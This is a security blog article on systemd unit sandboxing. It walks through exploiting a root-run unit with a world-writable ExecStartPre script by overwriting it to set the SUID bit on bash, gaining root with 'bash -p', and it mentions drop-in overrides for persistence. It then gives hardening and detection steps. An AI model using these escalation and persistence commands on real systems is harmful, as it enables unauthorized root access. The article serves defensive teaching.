systemd Security: Unit Sandboxing and Common Misconfigurations

systemd Security: Unit Sandboxing and Common Misconfigurations - article cover image Linux Privesc
Time it takes to read this article 5 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

systemd is PID 1 on essentially every mainstream Linux distribution, and with that position comes a large, often underused set of per-unit sandboxing directives: ProtectSystem=, NoNewPrivileges=, PrivateTmp=, CapabilityBoundingSet=, SystemCallFilter=, and dozens more. Applied correctly, these turn a .service unit into something close to a lightweight container without touching namespaces or cgroups directly — systemd builds on both under the hood. Left at their defaults, a unit runs with the full privilege of whatever user it is configured to run as, unrestricted filesystem access, and no syscall filtering at all.

This matters because service units are the standard way third-party software installs itself on Linux — every daemon, agent, and cron replacement ships a unit file, and package maintainers do not always sandbox them. A single overly permissive unit, especially one running as root with a network-facing or otherwise attacker-influenceable ExecStart, converts a local logic bug or a dependency compromise into a full root shell, whereas the same bug in a properly sandboxed unit is contained to a private, read-only, capability-stripped view of the system.

Attack Prerequisites

Turning a systemd unit into a privilege-escalation or persistence foothold generally requires one of the following:

  • Write access to a unit file or drop-in/etc/systemd/system/*.service, a .d/override.conf drop-in, or a unit under a world-writable WorkingDirectory — combined with the ability to run systemctl daemon-reload or wait for the next reload/reboot.
  • A unit that already runs as root or with elevated capabilities and lacks sandboxing directives, so that any code-execution primitive in it (a plugin path, an ExecStartPre script, an environment variable) inherits full privilege.
  • A writable path referenced by ExecStart/ExecStartPre/ExecStartPost — e.g. a helper script in a directory the attacker can write to.
  • Membership in a group that sudo/PolicyKit allows to manage systemd units (systemctl restart), which is enough to trigger a reload of a maliciously edited unit.

How It Works

Each systemd unit describes not just *what* to run but *how confined* that process should be, using the same kernel mechanisms containers use: mount namespaces for filesystem isolation (ProtectSystem=, ProtectHome=, ReadOnlyPaths=, PrivateTmp=), the capability bounding set and ambient set to drop Linux capabilities (CapabilityBoundingSet=, AmbientCapabilities=), NoNewPrivileges=1 to block execve()-time privilege gain (setuid binaries, extra capabilities via file caps), and seccomp-bpf syscall allow/deny lists (SystemCallFilter=). systemd applies these by constructing the confinement in the child process *before* exec()-ing the unit’s ExecStart= binary, so a correctly sandboxed unit never has the opportunity to touch what it was denied.

The catch is that none of this is mandatory. systemd-analyze security <unit> computes an “exposure” score from which directives are absent, and on a stock install of most daemons that score is poor — filesystem sandboxing, capability dropping, and syscall filtering are opt-in per unit, and many long-lived daemons (packaged years before these directives existed, or written by teams unaware of them) still run with User=root and no restriction whatsoever. daemon-reload also matters operationally: editing a unit file or drop-in has no effect until systemd re-reads it, which is why persistence via unit files often pairs an edit with a forced or awaited reload.

Timers, path units, and socket-activated services extend the same trust: a .timer or .path unit simply triggers its paired .service at a chosen time or filesystem event, inheriting whatever sandboxing (or lack of it) that service unit defines.

Vulnerable Code / Configuration

The enabling misconfiguration is a unit that runs as root with none of the sandboxing directives set, and an ExecStartPre pointing at a script path that is group- or world-writable:

# /etc/systemd/system/report-sync.service — VULNERABLE
[Unit]
Description=Nightly report sync

[Service]
Type=oneshot
User=root
ExecStartPre=/opt/report-sync/pre-check.sh
ExecStart=/opt/report-sync/sync.sh
# No ProtectSystem=, no NoNewPrivileges=, no CapabilityBoundingSet=,
# no PrivateTmp=  -> full root, full filesystem, all capabilities.

[Install]
WantedBy=multi-user.target
INI
$ ls -l /opt/report-sync/
-rwxrwxrwx 1 root root 210 Jun  2 10:11 pre-check.sh   # world-writable!
-rwxr-xr-x 1 root root 340 Jun  2 10:11 sync.sh
Bash

Any local user can overwrite pre-check.sh with arbitrary shell, and the next timer fire or systemctl start report-sync runs it as root with no namespace, capability, or syscall restriction — the sandboxing directives that would have contained the blast radius were simply never added.

Walkthrough / Exploitation

Confirm the unit’s actual exposure before touching anything — systemd-analyze security scores every enabled directive:

systemd-analyze security report-sync.service
# UNIT EXPOSURE: 9.6 UNSAFE  -- no sandboxing at all, runs as root
Bash

Overwrite the writable helper script with a payload; a paired systemd timer means the attacker does not even need to trigger the service directly:

cat > /opt/report-sync/pre-check.sh <<'EOF'
#!/bin/sh
chmod u+s /bin/bash          # drop a root SUID shell
EOF
chmod +x /opt/report-sync/pre-check.sh
Bash

Wait for the associated .timer unit to fire, or if the attacker has sudo/PolicyKit rights over systemctl for that unit, trigger it directly:

systemctl list-timers | grep report-sync
sudo systemctl start report-sync.service   # if permitted

/bin/bash -p   # SUID shell -> effective root
Bash

The same technique applies to drop-in overrides: writing /etc/systemd/system/sshd.service.d/override.conf with an ExecStartPre= line, followed by systemctl daemon-reload, is a common systemd-based persistence mechanism that survives a package reinstall of the original unit.

Note: NoNewPrivileges=1 alone would have stopped the SUID-bit trick above even with a compromised script, because it prevents the exec from gaining privileges it did not already have — it is one of the highest value single directives to add and rarely breaks legitimate daemons.

Opsec: Editing a live unit file and running daemon-reload is loud: systemd logs the reload to the journal, and systemctl status will show the unit’s ExecStartPre=/ExecStart= lines changed from what a package manager originally installed. dpkg -V/rpm -V file-integrity checks and journal review for Reloading. / unit-file-changed messages are the fastest way to spot this after the fact.

Detection and Defense

systemd sandboxing is one of the highest-leverage, lowest-effort hardening steps available on modern Linux — most directives are a one-line addition with no functional cost for daemons that do not need the access:

  • Run systemd-analyze security across all enabled units and remediate anything scored UNSAFE that runs as root or handles network input.
  • Add NoNewPrivileges=1, ProtectSystem=strict, ProtectHome=true, PrivateTmp=true, and a minimal CapabilityBoundingSet= to every custom unit; drop to DynamicUser=yes where the service does not need a fixed UID.
  • **Lock down write access to /etc/systemd/system and any path referenced by ExecStart*=** — treat a writable script referenced by a root unit as equivalent to writable root ownership.
  • Watch the journal and file-integrity monitoring for unit file and drop-in changes (ausearch -f /etc/systemd/system, auditctl -w /etc/systemd/system -p wa -k systemd_unit_write) and for daemon-reload events outside of package management windows.
  • Restrict sudo/PolicyKit rules that allow systemctl restart/start on specific units to the minimum principals who actually need it.

Real-World Impact

Unsandboxed root-owned units are a recurring finding in Linux hardening assessments and CIS Benchmark reviews, and writable ExecStart/ExecStartPre paths are a well-known local privilege-escalation and persistence pattern documented across red-team methodology guides and post-exploitation checklists (GTFOBins-adjacent techniques, LinPEAS/linux-smart-enumeration checks specifically flag writable systemd unit paths). The Lockheed Martin-style “living off the land” approach favors this technique precisely because it uses systemd itself rather than dropping a new binary.

Conclusion

systemd gives administrators container-grade sandboxing for free, but only for units that explicitly opt in. Treat every root-owned unit without NoNewPrivileges=, ProtectSystem=, and a trimmed capability set as unfinished hardening work, lock down write access to unit files and the scripts they call, and audit daemon-reload events — the gap between systemd’s sandboxing capability and its default posture is where most of this risk lives.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL